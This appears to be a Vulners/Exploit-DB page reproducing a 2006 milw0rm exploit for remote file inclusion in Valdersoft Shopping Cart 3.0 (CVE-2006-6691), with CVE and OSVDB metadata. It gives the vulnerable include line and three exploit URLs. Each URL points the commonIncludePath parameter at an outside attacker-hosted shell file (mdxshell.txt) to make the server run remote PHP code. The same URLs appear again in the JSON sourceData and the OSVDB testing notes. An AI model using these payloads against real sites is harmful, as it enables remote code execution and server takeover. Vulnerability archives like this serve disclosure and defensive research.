Search...

Valdersoft Shopping Cart 3.0 - Multiple Remote File Include Vulnerabilities

2006-12-20T00:00:00

ID EDB-ID:2964
Type exploitdb
Reporter mdx
Modified 2006-12-20T00:00:00

Description

Valdersoft Shopping Cart 3.0 Multiple Remote File Include Vulnerabilities. CVE-2006-6691. Webapps exploit for php platform

                                        
                                            ******************************************************************************************************
*Valdersoft Shopping Cart v3.0 (E-Commerce Software)*****[ commonIncludePath ] Remote File Include*
******************************************************************************************************
*******************************************
+class : Remote File Include Vulnerability*
*******************************************
+Author : mdx                             *
*****************************************************************************
+Files :
*
+/common_include/common.php , /include/common.php, /admin/include/common.php*
*
*
*****************************************************************************
+code  :                                                                    *
+                                                                           *
+    include ( $commonIncludePath."common.php" );                           *
+                                                                           *
*********************************************************************************************
+ Exploit  :                                                                                *
+********************************************************************************************+
+ http://www.site.***/[path]/admin/include/common.php?commonIncludePath=http://mdxshell.txt?*+
+********************************************************************************************+
+ http://www.site.***/[path]/include/common.php?commonIncludePath=http://mdxshell.txt?*******+
+********************************************************************************************+
+ http://www.site.***/[path]/common_include/common.php?commonIncludePath=http://mdxshell.txt?+
+********************************************************************************************+
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
==============================================================================================
?                                                                                            *
?                                                                                            *
? Thanks ; Cyber-WARRIOR TIM USERS, xoron , prohack ,leak , ozii , sakkure , abbad, dreamlord*
?                                                                                            *
?/////////////////////////////////////////////////////////////////////////////////////////////
?---------------------specials thanks  stroke ,SHiKaA----------------------------------------*
**********************************************************************************************
*******************                                                                          *
*******************                   KORKULARINIZ SADECE KABUSLARINIZDIR..		     *
*******************                                                                          *
*******************                        Turkish Hacker by mdx                             *
*******************                                                                          *
*******************                        Korkmak Kurtulmak Degildir.			     *
*******************                                                                          *
**********************************************************************************************

# milw0rm.com [2006-12-20]

JSON Vulners Source

Initial Source

{"id": "EDB-ID:2964", "hash": "7eb2421473e6e61e68ea23f54b243f9f", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Valdersoft Shopping Cart 3.0 - Multiple Remote File Include Vulnerabilities", "description": "Valdersoft Shopping Cart 3.0 Multiple Remote File Include Vulnerabilities. CVE-2006-6691. Webapps exploit for php platform", "published": "2006-12-20T00:00:00", "modified": "2006-12-20T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/2964/", "reporter": "mdx", "references": [], "cvelist": ["CVE-2006-6691"], "lastseen": "2016-01-31T17:26:02", "history": [], "viewCount": 2, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2006-6691"]}, {"type": "osvdb", "idList": ["OSVDB:32389"]}], "modified": "2016-01-31T17:26:02"}, "vulnersScore": 7.5}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/2964/", "sourceData": "******************************************************************************************************\n*Valdersoft Shopping Cart v3.0 (E-Commerce Software)*****[ commonIncludePath ] Remote File Include*\n******************************************************************************************************\n*******************************************\n+class : Remote File Include Vulnerability*\n*******************************************\n+Author : mdx *\n*****************************************************************************\n+Files :\n*\n+/common_include/common.php , /include/common.php, /admin/include/common.php*\n*\n*\n*****************************************************************************\n+code : *\n+ *\n+ include ( $commonIncludePath.\"common.php\" ); *\n+ *\n*********************************************************************************************\n+ Exploit : *\n+********************************************************************************************+\n+ http://www.site.***/[path]/admin/include/common.php?commonIncludePath=http://mdxshell.txt?*+\n+********************************************************************************************+\n+ http://www.site.***/[path]/include/common.php?commonIncludePath=http://mdxshell.txt?*******+\n+********************************************************************************************+\n+ http://www.site.***/[path]/common_include/common.php?commonIncludePath=http://mdxshell.txt?+\n+********************************************************************************************+\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n==============================================================================================\n? *\n? *\n? Thanks ; Cyber-WARRIOR TIM USERS, xoron , prohack ,leak , ozii , sakkure , abbad, dreamlord*\n? *\n?/////////////////////////////////////////////////////////////////////////////////////////////\n?---------------------specials thanks stroke ,SHiKaA----------------------------------------*\n**********************************************************************************************\n******************* *\n******************* KORKULARINIZ SADECE KABUSLARINIZDIR..\t\t *\n******************* *\n******************* Turkish Hacker by mdx *\n******************* *\n******************* Korkmak Kurtulmak Degildir.\t\t\t *\n******************* *\n**********************************************************************************************\n\n# milw0rm.com [2006-12-20]\n", "osvdbidlist": ["32389"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{"cve": [{"lastseen": "2017-10-19T11:12:39", "bulletinFamily": "NVD", "description": "Multiple PHP remote file inclusion vulnerabilities in Valdersoft Shopping Cart 3.0 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the commonIncludePath parameter to (1) admin/include/common.php, (2) include/common.php, or (3) common_include/common.php.", "modified": "2017-10-18T21:29:49", "published": "2006-12-21T16:28:00", "id": "CVE-2006-6691", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-6691", "title": "CVE-2006-6691", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "osvdb": [{"lastseen": "2017-04-28T13:20:28", "bulletinFamily": "software", "description": "## Manual Testing Notes\nhttp://[target]/[path]/admin/include/common.php?commonIncludePath=http://[attacker]?\nhttp://[target]/[path]/include/common.php?commonIncludePath=http://[attacker]?\nhttp://[target]/[path]/common_include/common.php?commonIncludePath=http://[attacker]?\n## References:\nVendor URL: http://www.valdersoft.com/valdersoft_shopping_cart.php\n[Secunia Advisory ID:23464](https://secuniaresearch.flexerasoftware.com/advisories/23464/)\n[Related OSVDB ID: 32388](https://vulners.com/osvdb/OSVDB:32388)\nISS X-Force ID: 30984\nGeneric Exploit URL: http://www.milw0rm.com/exploits/2964\nFrSIRT Advisory: ADV-2006-5101\n[CVE-2006-6691](https://vulners.com/cve/CVE-2006-6691)\nBugtraq ID: 21685\n", "modified": "2006-12-20T05:48:56", "published": "2006-12-20T05:48:56", "href": "https://vulners.com/osvdb/OSVDB:32389", "id": "OSVDB:32389", "title": "Valdersoft Shopping Cart common.php commonIncludePath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}